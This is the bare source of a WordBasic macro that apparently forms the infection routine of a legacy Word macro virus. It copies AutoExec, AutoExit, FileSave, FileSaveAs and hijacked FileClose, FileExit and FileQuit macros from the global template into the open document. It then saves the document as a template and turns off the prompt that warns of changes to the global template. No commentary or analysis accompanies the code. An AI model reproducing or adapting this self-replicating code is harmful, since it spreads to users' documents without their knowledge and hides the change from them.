Sub MAIN
On Error Goto Salida
TestFile$ = WindowName$()
If TestFile$ = "" Then Goto Salida

ThisFile$ = FileName$()
tfPath$ = FileNameInfo$(FileName$(), 5)
tfNoEXT$ = tfPath$ + FileNameInfo$(FileName$(), 4) + ".DOC"
If UCase$(ThisFile$) <> UCase$(tfNoEXT$) Then Goto Salida
If IsDocumentDirty() = - 1 Then Goto Salida
FileSave
ThisFileMacro$ = ThisFile$ + ":twAE"
MacroCopy "Global:AutoExec", ThisFileMacro$
ThisFileMacro$ = ThisFile$ + ":twFSA"
MacroCopy "Global:FileSaveAs", ThisFileMacro$
ThisFileMacro$ = ThisFile$ + ":twEX"
MacroCopy "Global:AutoExit", ThisFileMacro$
ThisFileMacro$ = ThisFile$ + ":twFS"
MacroCopy "Global:FileSave", ThisFileMacro$
ThisFileMacro$ = ThisFile$ + ":FileClose"
MacroCopy "Global:twFC", ThisFileMacro$
ThisFileMacro$ = ThisFile$ + ":FileExit"
MacroCopy "Global:twFE", ThisFileMacro$
ThisFileMacro$ = ThisFile$ + ":FileQuit"
MacroCopy "Global:twFQ", ThisFileMacro$
ThisFileMacro$ = ThisFile$ + ":AutoClose"
MacroCopy "Global:twAC", ThisFileMacro$
FileSaveAs .Format = 1

ToolsOptionsSave  .GlobalDotPrompt = 0
Err = 0
Salida:
End Sub
